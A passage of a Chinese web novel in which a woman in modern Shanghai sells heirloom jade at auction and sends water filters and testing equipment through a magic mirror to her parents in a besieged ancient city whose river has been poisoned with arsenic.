念荟和贺天凤都吃了一惊。谢云溪心里也是一跳,但面上平静如常。 “我知道了。章掌柜怎么说?他同意了吗?” 袁归愣了愣。这么大的事,夫人居然这么平静? “他同意了,但是只要了米糠,且只肯便宜到四文钱。” 谢云溪愣了愣。这座城里值得坚守的人并不仅仅只有身边的人,老百姓心里也有一杆秤。 “好,这件事情就交给你了,太晚了,去歇息吧。” 袁归顿了顿。现在去歇息?不应该马上叫醒其他人做好防备吗? 不过,袁归还是应了一声后,退出了屋内。贺天凤看了念荟一眼,见她也面不改色,连忙笔直站好,收敛神色。 谢云溪又把最近的账看了一遍后方才让念荟打水洗漱。这么久了,偷袭也该打完了,既然号角没响,那就表示一切顺利。 等她再睁眼,天已经大亮,袁归小满已经去了铺子,谷雨焦急等在门口,房门打开后,立刻便去通报消息。 昨日晚上晋州守军偷袭北凉营地大胜!烧了北凉驻军的粮草和数十营帐,杀了不少人!如今城内已经传遍了! 谢云溪点点头,表示自己知道了,有条不紊把事情派了下去。 城内所传的并不是军方的消息,再详细的只有等袁博文回来之后才知道。 现在袁博文和商泽都没有回来,那就是两人都没事,她心里的石头落地了。 到了下午,袁博文方才归家。谢云溪连忙让人打水来。 袁博文说:“你别忙活了,我换身衣裳就走。” 谢云溪见他头发上的血渍已经凝结成团:“洗个澡吧,耽误不了多久,水我已经让人烧好。” “好。” 谢云溪又开柜拿衣裳,把家里的事告诉袁博文:“昨晚上我让袁归去找章掌柜,章掌柜同意章记粮行继续开门,不过,他只要了米糠,且只肯让我们便宜四文钱。” 袁博文点头:“章长生这人不错,几次捐粮都很积极。” 谢云溪与袁博文的看法一致。 “袁归回来的时候刚好听到城外打起来了,怎么样?你这次带出去的人都还好吧?” 袁博文脸上带着笑:“伤了几个,不过都没大碍,还好。” 通过这些天的观察,他们已经摸清楚北凉营地的情况,驻军多少?何时歇息?什么时候换防?粮草在哪里?主力大将都有谁?主将李世杰啥癖好等等都知道了。 昨晚上他带着人手出城,先烧粮草,再干掉了几员大将,李世杰差点都被霍小北等人弄死,杀了他们不少人之后,也没恋战,赶紧回撤,在骑射营掩护下安然回城。 这一仗打的漂亮,今早上他从望远镜里看到北凉驻军营地一片狼藉,尤其几座粮草大帐几乎成了灰烬,死掉的人没有五百人,也有三百了。 这些天总算是出了一口恶气,现在晋州守军的士气也高涨了不少。以前许多人觉得北凉骑兵凶悍无比,吃生肉喝人血,野兽一般。原来也是人,不过生的高大些罢,勇猛有余,灵活不足。找准了弱点,一样能干掉。 做出偷袭准备的时候,他们就防备了北凉人狗急跳墙,现在晋州全家严阵以待。 谢云溪帮忙脱了甲胄,看到袁博文内里的防护衣完好,松了一口气。 洗澡水备好了,谢云溪也在一旁帮忙:“这水是井水,我让淼淼送过去检测过了,目前乌衣巷附近的几口井都还好,没有检测出毒素。” 城里的饮用水依旧在发放中,河水和井水仵作和郎中每日三次在检测,目前河里的水依旧有毒,井水都还好。谢云溪也让人在乌衣巷周围的几口井里取了样,一大早传过去,让袁淼送到了检测中心。 “你说咱们要是没有跟淼淼联系上,现在……”袁博文说不下去了。 谢云溪也沉默了,如果没有女儿的帮忙,他们夫妻绝对撑不到现在。人都说养儿防老,他们是养儿救命。不仅没有尽到为人父母的责任,现在还靠着女儿救命。 “淼淼说她报名参加了一个珠宝玉石展览会,咱们手上有些东西反正也用不着,我预备都给她。” 袁博文点头,他们挣的这些原本就是给女儿的,现在不仅没有给女儿改善生活,还把她拖进泥坑里,属实亏欠太多,等到晋州城的麻烦过去后,他一定要弥补。 简单洗漱后,袁博文又囫囵喝了一碗粥,出去了。 袁淼这天也没闲着,先去珠宝玉石展览会现场看了看,她原本就是设计师出身,回办公室后便把展位设计的初稿画出来后。沈若臻现在忙着粮食和水的事情,袁淼就把设计稿给了楚萧,让他联系装饰公司。 嘉仕达的电话打过来时,袁淼这才记起玉碗拍卖的事情来。她看了看时间,想带个人过去,沈若臻最合适了。但他现在也很忙。袁淼并不想自己的事让太多人知道。除了沈若臻,珠宝玉器之类只有岳然接触过。但她把岳然带走,网店就没人管了。 说到底,还是人太少了。 60-70 第61章 第 61 章 白玉碗 说到底, 还是人手太少了。袁淼又萌生了招人的想法,不过这次再招人,得想长远些, 不能把时间过多消耗在人事上。招一次, 好歹要撑上些时间。 现在距离上一次招人还不到一个月。 袁淼按下想法, 跟岳然说了一声, 来到了嘉仕达。 拍卖会还没有开始,宾客陆续进场, 袁淼办理了相关手续后,看了看宣传册。设计精美的宣传册上,每一件臻品都很漂亮,白玉碗的图片赫然就在首页。 袁淼已经有经验了, 知道这表示她的白玉碗是今天拍卖的重头戏。 专业设计师拍摄出来的照片非比寻常,原本洁白无瑕的白玉碗像是镀了一层柔光, 柔美细腻,美轮美奂,十二个排成三行放在一起,一模一样, 每个都是整玉雕成,通体光素细滑,仿佛不是真的。 “这碗好美!” “嗯!我看过预展,极品羊脂白玉,每个碗整玉雕成, 十分难得!” 袁淼听到议论, 回头看了一眼,那是位女士,年纪约莫四十出头, 富态干练。在她旁边的像是助理,西装革履,小声说:“预展的时候,这套白玉碗就引起了不小的轰动!” 极品羊脂白玉的价钱原本就不菲,小小的一块玉佩都能炒到上百万,整块籽料雕成玉碗,可想而知有多奢华,这样的居然有一套十二个! 袁淼并没有参加预展,不知道发生了什么,听到这样的议论,心里很高兴。宣传册上白玉碗整套起拍价二千四百万,按照以往的拍卖的情形和预展情况,最终拍卖价超过三千万绝对没问题。 宾客陆续进场了,有人不想表露身份,委托了工作人员,通过电话联系参与竞拍。不过,更多还是自己或者助手举牌。 快开场时,又有几个人进来了,在场许多人都站了起来。 “哎哟!周老爷子!好久不见!” “周总好!没想到今天能在这里见到您!” 动静太大,袁淼也转过头,发现其中一位自己也见过一面,正是上次在崇敬门遇到的周公子。他站在一位头发发白的老人旁边,见到袁淼,眼睛一亮,微笑点头示意。 袁淼也微笑回应。大福源的周公子,上次七千万买走了她手上的一块翡翠明料,大财主! 她顿时想到自己手上另外几块翡翠原石。 周晟等人坐下后,有人低声议论:“没想到大福源的周老爷子也来了!” “是啊!不知道他看上那件臻品?看来今天有热闹可看了!” “旁边的是周家的大公子吧?” “嗯,周晟!现在已经接手大福源的珠宝生意了。” “年少有为啊!看来以后大福源的接班人就是他了!” “那可不一定!老爷子可不止这么一个孙子!” 袁淼正襟危坐,八卦纷纷入耳。原来周晟的身份这里厉害,先前倒是小瞧了。 时间到了,拍卖会开场。第一件藏品反响不错,是明末清初的一件瓷器,虽然不是出自皇宫,但品相完好,出自名窑,最终拍卖价一千二百多万,比起拍价翻了倍。 一件件臻品拍出,期间小高潮不断。周老爷子等人倒是一直没有出手,当然,或许他们也有自己的委托代理人。 轮到白玉碗了,主持人介绍的很详细,背后的屏幕也放出了白玉碗的视频。单个如何,成套又如何。专业人士制作的视频相当漂亮。连袁淼自己都忍不住喜欢上了。然而实际上东西在她手上时,她压根就没多看几眼。自家储藏室室的东西比白玉碗漂亮多得去了。 开拍了,羊脂白玉碗一套十二个,每个整玉雕成,温润细腻,浑然天成。起拍价二千四百万。 场上许多人举牌了,主持人口齿伶俐,妙语连珠,报价很快就超过了三千万。 袁淼暗自高兴。 报价过了五千万后,场上的热闹也平息下来,只有二三家在竞争了。可惜都是工作人员在举牌,袁淼无法知道他们背后的买家是谁。 最终白玉碗以七千二百万成交! 十二个羊脂白玉碗,七千二百万,也就是每个高达六百万! 这完全超出了袁淼心里的预期。 又坐了一会后,袁淼离开了拍卖现场。她给孙士林打电话,说了几句后,便问到宋颜。 “宋总在!您在哪儿?我带您过去!”孙士林很热情。 “不用了,您忙。我自己去。” 问清楚宋颜就在办公室后,袁淼熟门熟路,进电梯上楼,没走几步,居然看到了宋颜。他在众人拥簇中,看样子正要回办公室。 “宋总!” 宋颜转头见到袁淼,停下脚步。旁边的孙士林见状,微微招了招手,旁边的几人跟他一道退开了。 袁淼看到宋颜,心情愉悦,笑着打招呼。 宋颜依旧不苟言笑:“袁小姐是来参加今天的拍卖会的吗?你的那套白玉碗反响不错。” 可不是,七千多万呢!袁淼脸上的笑压不住:“是嘉仕达的平台好。” 她这是实话,没有嘉仕达这个平台,她的白玉碗多半卖不到这么好的价。崇敬门那边的市场她去转过,现在还有一件臻品放在珍宝阁寄卖,到目前还没消息。 当然,她的白玉碗卖的好,嘉仕达的抽成也很高。这是双赢。 “宋总什么时候有空?”袁淼直抒胸臆,她很感谢宋颜。 “现在就有。”宋颜面不改色。 袁淼愣了愣,快中午了。 “那……一起吃个饭?” “好,稍等泡¥沫¥独¥家。” 袁淼有些懵,没想到宋颜会答应的这么痛快。只一会后,宋颜换了套西装出来了。颜色一样,只款式上有细微不同,在袁淼看来,依旧是严谨板正。 两人来到餐厅,时间还早,里面人不多。说起这天的拍卖现场,袁淼由衷觉得干拍卖这一行属暴利,光这一天嘉仕达至少进账百万。 不过,想要干好,也不是一件容易的事。嘉仕达拍卖现场火爆,靠得是百余年的声誉积累。 袁淼现在有一家博云珠宝的网店,就已经觉得这一行的水深。她这还是在不愁货源的情况下。 “袁小姐的网店生意怎样?”宋颜问。 袁淼摇头。网店的销量就挂在首页,明眼人一眼就能看到,开店至今,博云珠宝一共就卖出了二十来件货。 “不急,珠宝这行就是这样,人气是慢慢积累的。” 袁淼点头认同,举杯:“谢谢!” 来自大佬的建议正如同她心里所想,她想过了,珠宝这行于她而言是可以做大做强的。货源她不愁,父母那边有当铺收。主打一个古风特色。收益不会差,虽然博云珠宝到现在卖出去的不多,但已经给她带来七位数的收益。 正说着话,有人过来了。 “宋颜?” 宋颜回头见到来人,站起身来招呼:“周老!小晟!” 袁淼见状,也站了起来。没想到先前在拍卖会现场看到的大福源周老爷子周群和周晟也来到这家餐厅,看样子与宋颜很是熟悉。 袁淼心里了然,宋记与大福源算是珠宝玉石行的翘楚了,彼此之间肯定有联系。 闲说几句后,周群笑眯眯看向袁淼:“这位是……” 他旁边的周晟连忙说:“这位是袁小姐,上次的玻璃种明料就是袁小姐出给我的。” “哦,袁小姐也是同道中人?”周群笑容可掬问。 袁淼摆手,自己不过一介珠宝小白,哪能与业界大佬称同道,顶多算是个小本生意人:“爱好而已。” “那也同道啊。”周群笑呵呵说,“你们年轻人多交流,这很好。” 袁淼微笑着,好在周群没再留意她,与宋颜说了几句话后,带着周晟离开了。她和宋颜复又坐下。 宋颜低着头切牛排,一边问:“你和周晟认识?” “一面之缘,我卖了一块翡翠原石给他。” “宋记除了收黄金宝石以外,也收翡翠原石。” 袁淼愣了愣,她当然知道宋记也收翡翠原石,以前宋颜说过,但羊毛不能总薅一家。宋颜这话来得有些奇怪。不过,和气生财,对于宋记的这份好她心领。 “我手上刚好还有几块料子,宋总什么时候有空?” “袁小姐有我的电话吧?” 袁淼笑着摇头,她只有孙士林的电话,一般是通过孙士林联系宋颜。 宋颜拿出手机,袁淼连忙报了自己的号码,听到来电后,存下了宋颜的电话。 宋颜说:“下个月魔都有个珠宝展览会,可以通过网上报名参加,袁小姐知道吧?” “知道!我也报名了。宋记……也会参加了吧?” “嗯。这次展览会规模不小,届时会有国内外数百家同行参加,除了摊位展览以外,还有一场由嘉仕达主持的拍卖会,袁小姐如果有臻品,可以参加这次的拍卖,届时还有一场评比,会选出这次展览会最珍贵的几样臻品……” 袁淼不知道展览会还有这些环节,她只准备了摊位展览,展览会的拍卖环节和评选环节,当然不能错过,她手上好物不少,少的就是出手的机会。 “真的吗?网站上并没有说明!怎样才能参加拍卖会和评比?” “拍卖会和珍宝评比,往年的珠宝展并没有,这次是为了提升影响力,过几天的就会宣传出来。” 那就是现在可以准备上了! “怎样才能参加呢?是直接把东西给嘉仕达吗?” 宋颜摇头,嘉仕达只主持拍卖,拍卖的臻品由主办方选送,至于评选环节,由各家选送,采取盲标的方式,标价最高的即是第一名,次之便是第二名,余下以此类推。 袁淼问清楚细节之后,心里有了底。这顿饭她吃的很高兴,回家后直奔储藏室。无论是拍卖会,还是评选环节,她都想参加。 第62章 第 62 章 立秋 与宋颜说完话转身, 周群脸上的笑收敛了许多。 “那位袁小姐是哪家的千金?” 周晟回头看了一眼。宋颜和袁淼已经坐下了。 “我也不清楚,就上次打过一次交道。” 周群摇头:“能被宋颜看上的女孩儿可不简单啊。” 周晟心里也惊奇,他跟宋颜打小就认识了, 知道他是什么样的人, 还没见他对哪个女人上心过, 更别说带到公众场合吃饭了。他们说话的时候, 他对那位袁小姐的照顾小心且细致。 “我让老唐去查一查。”他记得唐伟明说过,这位袁小姐还在大福源兑换过不少黄金。 周群微微点头:“至宋颜接手了宋记在华中地区的业务, 宋记的业绩提升了不少,尤其嘉仕达拍卖行,这段时间精品频出。你们要向他好好学习,宋老鬼已经决定把宋记交给宋颜了。” “我知道的, 爷爷。” 袁淼并不知道周群和周晟对她讨论,回家后在储藏室呆了许久, 几个箱子都打开了,最后挑出了一株约莫三四十公分高的血红色珊瑚摆件和一块二十来斤的春带彩玻璃种明料。 红珊瑚摆件她手上有七个,挑出来的这株算是其中比较大的,最大的那株快小半人高了, 颜色鲜艳欲滴,她不敢冒然拿出来。 这株不大不小,造型完整,颜色也好看,既喜庆又漂亮, 拿出来正好了解一下红珊瑚的入境的行情。 翡翠原石的明料她手上也有好几块, 除了父母在当铺收的那块蓝水的明料是高冰种以外,其他的都是玻璃种。这块春带彩重二十六点八斤,颜色喜人。 翡翠原石的行情, 她略知一二,上次那块拳头大小的满绿明料她八千五百万卖给了周晟。 这块春带彩虽然不如那块满绿的颜色正,但是胜在块头大,一样也是玻璃种,整块原石一点杂质和裂纹都没有,光是手镯少说也能取十来条,再加上玉牌和其他。在行家手上,这块春带彩最终做成的成品绝对可观。保守价值至少一亿。 红珊瑚摆件参与珠宝展的评选,春带彩明料参与拍卖。 选好后,袁淼又挑了几样预备在摊位展出拍卖的东西。博云珠宝主打古风特色,她挑出来的几样也都是这个方向的,比如玉簪手镯头饰佩环等,另外还有白玉观音、碧玉杯,小件的红珊瑚的派件等。 正当她对着一堆宝石犹豫时,沈若臻的电话来了,前天订下的一千过滤壶已经到货。袁淼想起了父母那边的形势,水源危机迫在眉睫。 她关好了储藏室的门后,开车来到了仓库。沈若臻正等在门口,送货的车还没走。 “货我已经检查过了,质量没问题。” 袁淼微微点头。 送货的司机把账单递给袁淼,一千过滤壶,每个又配套五个过滤芯,整整有十几箱。 沈若臻和司机一道把货抬进了仓库。 仓库里堆放了许多了桶装纯净水,司机看到这情况,着实惊讶,但素养让他并没有多事,交接后便离开了。 沈若臻也不知道袁淼要这么多纯净水和过滤壶干什么?这些能销往哪儿?有利润吗?他一肚子疑问,不过,他也知道袁淼做事的习惯,不该问的不问。 东西放好了,也检查过了。沈若臻满头大汗:“还有没有安排?没安排,我回公司了。” 他还有去联系水厂,昨天堆了满仓库的水,今天上午就没了,眼下的估计明天就没了,他得把明天的水订下来。 袁淼摇头:“辛苦了。” 她知道沈若臻有疑问,但她不能说。 沈若臻走后,袁淼就把车上的镜子小心搬进的仓库,为避免损坏镜子,她把边缘以及背面都包裹了起来,这样即便是不小心掉地上,也不会损坏。 轻敲了镜面三次,谢云溪就出现在镜子里。 “妈,过滤壶到了。”袁淼把镜子挪了个方向,让谢云溪看库房里堆放的货。 “这么多?” 袁淼觉得不多,晋州全城好几万人呢。不过,到底是现代化塑料制品,不方便全城推广,小范围使用还得看父母怎么解释。 谢云溪笑着说:“这个你不用担心。” 大约是文化水平普遍较低的缘故,这里的老百姓比想象的好说服。他们已经拿出了好几样现代化的物品,往往一句海外所得便能对付过去。这里的人鲜少有出海出国,对海外的情况知之甚少。 当然并不是所有人都这么好糊弄,读过书的和经常走南闯北还是会有疑问,不过很少有人当面打破砂锅问到底。 袁淼稍稍放心,把过滤壶和纯净水传了过去。传完后告诉谢云溪:“检测设备和净水设备大概明后天就能到了。” “好!”谢云溪心里也高兴,问起女儿的日常。 “我这里好着呢。今天去嘉仕达参加了的拍卖会,上次你们给的那套白玉碗今天拍卖了,卖到了七千二百万!” “这么高?”谢云溪吃惊道。 她知道现代玉石行情很好,但一套白玉碗能卖到七千多万还是超乎她的意料。他们这边并不缺玉石,商州一带更是盛产,就这两天,新开的当铺就收了好几件玉器,那叫一个廉价!非玻璃种的料子往往不到十两银子就能成交。 倒不是谢记当铺趁机压价,而是行情如此,盛世的玉石是宝,乱世里就是一块石头,即便是做成了精品首饰,性命堪忧的时候,这些一样不值钱。 “嗯!我今天还见到了宋颜了,他告诉我珠宝展还有评选环节和拍卖环节,我准备把那块春带彩的明料拿出去参加评选,珊瑚摆件我也准备拿出一件……” 打铁趁热,钱多多益善! 谢云溪点头,她这边不仅玉石不仅不值钱,珊瑚摆件等玩意也贬值的厉害。 “当铺这几天也收了几件不错的货,明天我传给你。” “好。晋州城内今天情况怎么样?” 谢云溪避轻就重:“还好,城外的北凉军队只围不打,城内生活物资也都不缺。” 对于偷袭的事情,她只字未提。 袁淼略微放心,不过,她心里知道暴风雨迟早有一天来临。不仅生活物资,武器等也要准备好,不能等到战事发作了再去准备。 母女俩又说了会话后,断开了。 等到袁博文回来,谢云溪便把女儿的情况告诉了他。 袁博文说:“那些东西,她想出手就出手吧。” 左右不过都是些玩意而已,能卖点钱挺好。 “昨晚的事我没跟她说。今天城外情况怎么样?城里都传遍了,说是大胜,谷雨在城里转了一圈,说城里的几个征兵摊点都开始有人排队了?” 说起这个,袁博文脸上难得有了笑意,此次偷袭得胜的效果比他先前预期的好多了,北凉人的营地到现在还没修整好,城内士气大涨,原本的征兵在金钱的诱惑下就有些效果,短短时间晋州正式兵力已经恢复了最开始三千的定数,再加上一千的预备役民兵,已经有四五千能上战场的人了。 以前征兵还要做思想工作,还要宣传,没想到这一战之后,这些统统不用了。如今想要参军,还要满足一定条件,不是谁都能进。 兵源优质,他们能渡过眼前难关的胜算自然更大一些。 “淼淼说检测设备和净水设备马上要到了,这两台机器咱们放哪儿?还是放在码头那边的宅子吗?” 袁博文想了想,“你让人把书房旁边的院子收拾一下吧,检测设备到了之后,就放那儿,挑个稳妥的,教一教怎么操作。” 现代化机器还是掌握在自己人手上更稳妥,妻子有孕在身,不易操劳过度。 “行。”谢云溪想到自己身边的几个丫头,念荟最让人放心了,但自己身边离不开她。贺天凤也不错,虽然来得晚,但是个嘴紧的,只不过做细致活差点了意思。白露和立秋…… 立秋要更沉稳些。 “你觉得立秋怎么样?” 袁博文虽然没有过多留意府上的丫头婆子,不过他相信谢云溪的眼光。 “你看好就行,净水设备……就放到码头那边的宅子吧,让商远去管。” 数月处下来,镖局的三人是什么样,袁博文和谢云溪都有了一定的了解。 谢云溪对袁博文的安排没有异议。 * 检测设备和净水设备同一天到货,袁淼接到消息后,赶到了仓库,检测设备操作很简单,采集好标本之后,机器自动分离分析,没一会结果就出来了。 净水设备就是个大件了,不过操作也很简单,接上水源之后,出来的就是过滤好的干净水了。水质的标准优质,而且还可以调整需要过滤的物质。现代化程度很高。 送货过来的工程师好一顿自夸,说他们的这款仪器是专门针对恶劣环境的,比如末世等之类,绝对能保证水源优质。而且即便在是没有电的情况,也能手动操作。 袁淼很满意,没有电——她爸妈那边不就是这种情况? 不过,有电的情况下,仪器的操作还是更便捷些。父母那边有两块太阳能充电板了,应该能暂时应付。 袁淼这天忙了许久,才把两件仪器整明白。等人都离开后,她就敲响了镜子。 谢云溪早就把地方准备好了。检测设备放在了书房旁边的院子,净水设备则放到码头那边的宅子里。事先她也跟立秋和商远交待过了。 商远倒还好,立秋这两天都没睡个安稳觉。 谢云溪先自己对着说明书,在袁淼的远程指导下,熟练掌握了操作规程后。 她把立秋叫了进来。 “这是检测仪,可以检测分析很多东西的成分。现在环绕晋州的泗水河有毒,井水有没有尚不知道。这台仪器可以检测出来,现在我把它交给你,我们所有人能不能喝上没毒的、放心的水,就看你了。” 饶是立秋素来沉稳,顷刻间觉得肩上的担子重了。 水源有毒是这几天悬在每个晋州百姓头上的刀,即便是城里每日有水发放,但那一点根本就满足不了日常所需,仅仅只能保证不渴死罢。 谁也说不好,这样的日子什么时候会过去,衙门的仵作们一会说井里的水能用,一会又说不能用。 人心惶惶。她也跟着念荟用奇怪的管子取了几次水,问干什么用,念荟也不说。不过一会后便能传出刚才取水的水源能不能用的消息。她那会心里便在猜测,大约是夫人有办法知道水里有没有毒。 果然! 其他人的话,包括仵作,她都不信,但老爷和夫人的话她相信。他们说没毒可以用,那就一定没毒。他们现在之所以还活着,还不是因为有老爷和夫人在? 原来,这就是那件可以查出水里是否有毒的神器吗?不,夫人说,叫检测仪! 谢云溪看出了立秋的不安,她倒不是故意说的这么严重,而是水源问题攸关数万百姓的生命安全,虽然仪器的操作不难,但是一定要认真负责,来不得半点马虎。 她教立秋怎么操作仪器,怎么观察,怎么读取数据等。 很快立秋就学会了,但她还是不敢相信,看起来清澈干净的水里面居然有这么多东西?原来北凉人下到水里的毒叫三氧、化二、砷!也就是砒、霜! 真歹毒啊!该死的北凉人!千刀万剐都不为过!他们这是要让晋州全城的人都死绝啊! 第63章 第 63 章 解决 谢云溪在后院教立秋熟悉检测设备, 袁博文这边也没闲着,带了几个人并商远摆弄净水设备。 净水设备的操作很简单,有自来水直接接上, 经过仪器过滤, 出来的便是过滤好的水, 没有自来水, 就多了一道打水往里添加的工程。 军营里面最不缺就是有力气的青壮年了。袁博文带过来的人都是自己一手从新兵营带出来的,算得上是心腹。 这边宅子就在码头旁边, 取水再方便不过了。 没一会儿,几个人就知道怎么操作了。 看到过滤好的干净水,商远等人奇怪极了,不明白眼前奇形怪状的大家伙到底是什么东西, 有什么作用。 袁博文道:“河里的人水有毒,这是过滤器, 能够过滤掉水里的毒素。” 包括其他,比如重金属等。后面的话,袁博文没说,这里的人压根就不知道重金属是什么?展开来解释, 就不是一下两下能说清的。 设备传过来的时候,袁博文自己心里都在惊叹,现代化的科技发展真是日新月异,有这么一套设备,人类赖以生存的水源问题几乎都可以解决。 围观的几个人面面相觑。 水里有毒, 不能进口。大家都知道。这几天大家的日子都不好过。一天两瓢水, 只能勉强保证不渴死,看到水样的东西,都忍不住咽口水。 每天发水的地方, 好早就有人开始排队了。 也有不要命的私下取河里或井里的水喝,只一会就出现上吐下泻的情况。情况出现几次之后,鲜少有人再这么干了。 眼前这么个奇形怪状的大家伙,河里的水倒进去,再出来就是没毒的水? 连商远心里都在怀疑。 袁博文并没多说,径直取了一碗水喝了。 口感并无异常。 他又取了几试管样本,交给商泽:“送回去给夫人。” 商泽应声去了。 其他人都盯着袁博文,生怕他突发状况。 袁博文很坦然。这台过滤器是女儿花费上百万所购置。在此之前,女儿把相关的参数和材料都传了过来。 他相信这台仪器绝对是好东西。 又在院子里忙活了一会,在其他人忐忑的目光中,袁博文面色如常等到了回转的商泽,看着手中的检测数据。袁博文心情更好了。 “装水!咱们去看看守备大人。” “是!” 商泽去忙了。 其他人这才相信眼前的大家伙真能过滤掉水里的毒,各个脸上洋溢着喜悦。 袁博文交代商远:“这里交给你了,你带他们继续过滤水,除了河里,井里的水也可以取用。” “哎!”商远舔了舔干燥的嘴唇,高兴应下。 袁博文带着商泽来到关□□上。 关正的伤已经好转,但还不能下床。不过袁博文经常过来,晋州城内城外发生的事,他都知道。 一见到袁博文,关正迫不及待问:“怎么样?北凉人那边有没有动静?” 上次夜袭的事情,虽然大胜,但他们时刻担心北凉人的反扑。 “暂时没有。”袁博文回答,“我这次过来,是要跟你汇报水源的事情。” 水源有毒的事也是关正头上悬着的一把刀。 “快说快说!那帮王八蛋又玩什么花样了?” “不是他们……你看看这个。”袁博文把过滤壶给关正看,“这是过滤壶,能过滤水里的毒。” 关正诧异看着袁博文,袁博文表示你自己看。 关正颠来倒去拿着壶看,依旧不明所以。 袁博文吩咐旁边的人:“取点水来。” 水很快取过来了,袁博文又让人拿了试毒银针过来。银针浸水,只一会便变黑了。 对于这一幕,关正已经见多了,依旧不明白袁博文什么意思。 袁博文没有解释,只把水倒进了壶,又跟关正说了会话,等到水过滤好后,他又用银针试毒。 这次银针光洁如新,一点变化都没有。 关正震惊了:“这……” 同一碗水,就这么过了一道,毒就没了? 袁博文笑着说:“毒被过滤掉了。” 其实,他心里对于这样过滤的水并不完全认可,过滤壶的介绍说明上并没有能过滤毒素等的相关词条。不过刚才商泽带过来的几张检测单就有过滤壶过滤的数据,确证过滤壶也能过滤三氧、化二砷。 只不过过滤其他物质的效果没有过滤器好。 关正忍不住捶榻:“好!好!好过滤壶!” 有了这个,水里的毒他们就不怕了! “这几天发放的水,是不是就是这个……过滤的?”关正眼睛发亮问。 袁博文并没否认,他上次只对关正说自己能弄到可以饮用的水,并没有说来源。现在关正要这么认为,他当然不会反驳。 “我根据这个,弄了台过滤器。”他告诉关正。“那是个大家伙,可以过滤足够晋州全城百姓使用的干净水。” “真的吗?在哪里?我去看看!”关正说着,便要下榻。 旁边的人连同袁博文一起制止了他。 “老爷!您可千万不能下榻!否则,夫人要打断小人的腿了!”关正的贴身随从哭丧着脸说道。 袁博文:“大人别心急,东西不会跑,什么时候想去看都可以!” 关正嘟哝:“我已经好多了,你们这些人……” 袁博文等关正躺好后,又说:“我那过滤器制作相当麻烦,不便在人前现眼……” 关正秒懂,好东西当然藏好,被其他人学会了,弄懂了,价值就不一样了。 另一方面,北凉人往河里投了毒,肯定以为他们已经穷途末路了,说不定正谋划着一网打尽呢,而他们这边有了过滤壶过滤器,日常生活压根就没多大影响,如果北凉敢来,刚好可以狠狠干他们一番。 关正脸色大好:“你放心!谁要是说三道四,我砍了他!” 涉及军务大事,当然不可马虎。 “东西现在放在哪儿?知道的人多吗?” “不多,在码头那边,我派了几个人在那里。” 袁博文要的就是关正的配合,现代化机器属实不好在人前现眼。现在晋州城内关正最大,他只是暂时代管,只要关正点头,许多事情几乎无往不利。 水源危机一定会有过去的一天,北凉人投进河水里的毒迟早会有分解代谢完的一天,他们又不可能一直投毒,砒/霜也不是随处可见的大路货。到那时候,现代化的大家伙就可以消失了。 原本使用一段时间就要更换过滤芯的过滤壶也可以不用了。 与关正商量好次日发放水的细则后,袁博文就离开了。 关正心里感慨,这中过举的人就是不一样,原本一团乱麻,走投无路的局面居然被他解决了。 庄静带着贴身丫环进来了。 “你怎么没留子虚吃饭?”庄静问。 现在袁家与关府住的近了,两家人的来来往也多了起来。庄静刚才要留袁博文吃饭,被袁博文婉拒了。 关正心情不错,笑呵呵说:“他还有事。” 庄静瞪了他一眼,自己这夫婿属实不会为人。关键时候,自己病着,一干事务都推给了袁子虚,也不知道笼络笼络,现如今袁子虚要是撂了摊子,不用北凉人来攻打了,晋州内部自己都会乱起来。 “你真把人家当陀螺了?” 关正呵呵笑着,吃了一口庄静递过来的苹果,感慨说:“这袁子虚真他娘是个人才啊!” 要是没有他,晋州绝对撑不到现在。 庄静哼了一声:“你现在才知道吗?” 关正没有理会自己夫人的讥讽,反而问:“你说他那脑袋瓜到底咋长的?什么稀奇古怪的玩意都能折腾出来!看看这个!” 关正指着旁边的过滤壶说:“这叫过滤壶!没见过吧?能过滤水里的毒素!” 庄静闻言,连忙拿起过滤壶仔细看,颠来倒去好一番后:“这……怎么过滤?这几天发送的水就是这个过滤的?” 关正点头,把刚才袁博文操作讲了一遍,又让随从取了水来,现场演练了一番。庄静的眼睛都亮了。 关正道:“他还根据这个,捣腾了一个……过滤器出来,能过滤大量的水!从明天开始,全城上下每人能分得两升干净水!” 两升干净水?那差不多有小半壶了!足够一个人饮用!还有多! 庄静不禁展颜:“真的吗?那太好了!” 这几天水源有毒,全城上下每天按人头发送干净水,守备府上的人全部都出动了,也要格外珍惜,除了保证饮用以外,其他的都不敢用发放的干净水。 就连洗水洗脸等寻常事都要格外注意。 “我骗你做甚?不过,过滤器的事情,你可不能对任何人说起!” 庄静点头:“我知道轻重!”拿着过滤壶又仔细看了一番,“这东西怎么做出来的?” 关正也没过见过塑料制品:“你别想了,袁子虚连我都没说。不过,他把这个过滤壶留下了。” 庄静觉得太好了,有了过滤壶,再加上按人头发放的干净水,府里的用水就宽松多了,洗漱之类的,都可以安排上了。 * 有了过滤器,晋州的水源危机总算是告了一段落,袁淼也停止了购买纯净水。财务胡芸碟把账目送了过来,袁淼这才想到,到月底了,她该给员工发工资了。 父母那边局势紧张,这个月光是她这边购买物资的总价就已经过亿了,两边的物价差距巨大,即便是父母刻意压低,除掉赋税等相关费用,博云贸易的纯利润也上了千万。 公司的员工目前并不多。 袁淼和胡芸碟核算好数据好,博云贸易的第一笔工资发放了下去。 钱直接打的每个人的银行卡。楚萧看到短消息时,愣住了。 他入职不到一个月,竟然有两万多的收入!这都快赶上他开店小半年的收入了! 再看其他人,每个人的脸上都洋溢着喜悦。 楚萧吐了一口气,按照这个势头,干满个一个月的人,少说也三万! 这也太高了!人人羡慕的高科技公司初始入职的新人也很少能有这么高的薪资。沈若臻算是最忙的,上个月他就有四万多了,这个月只会比四万多! 四万多!如果是他,他可以为博云贸易做牛做马,把公司当家,吃住全在公司这里一点意见都没有。 虽然知道,打听别人的收入不太好,楚萧还是没忍住,吃饭的时候问沈若臻:“你工资到账了吧?这个月有多少?” 沈若臻心情很好,一点都没觉得隐私被窥视了。 “你呢?” “两万多。” “还不错,你进来我们公司不到一个月吧。” 楚萧笑呵呵说:“二十天。你有多少?五万?” “差不多吧。”沈若臻含糊回答,实际上他这个月有六万多,不过,袁淼说,这个因为上个月部分绩效累积在这个月发放了。 如果不加上个月绩效,他只有五万多。 才跟了袁淼两个月,他卡上的钱就有六位数了。以前几乎没有超过五位数的时候。 他现在充满了信心,也许要不了几年,他就能在魔都有套属于自己的小房子了。 饭后,沈若臻开车回去,打开门发现沈若君来了。 “你怎么来了?” 沈若君没有开灯,电视虽然开着,但她的注意显然不在电视上。 沈若臻心情很好,并没有注意到妹妹的异常,哼着歌儿去卫生间洗手,对着镜子想着自己现在有钱了,车和房暂时不用想,衣服和鞋子可以买了。 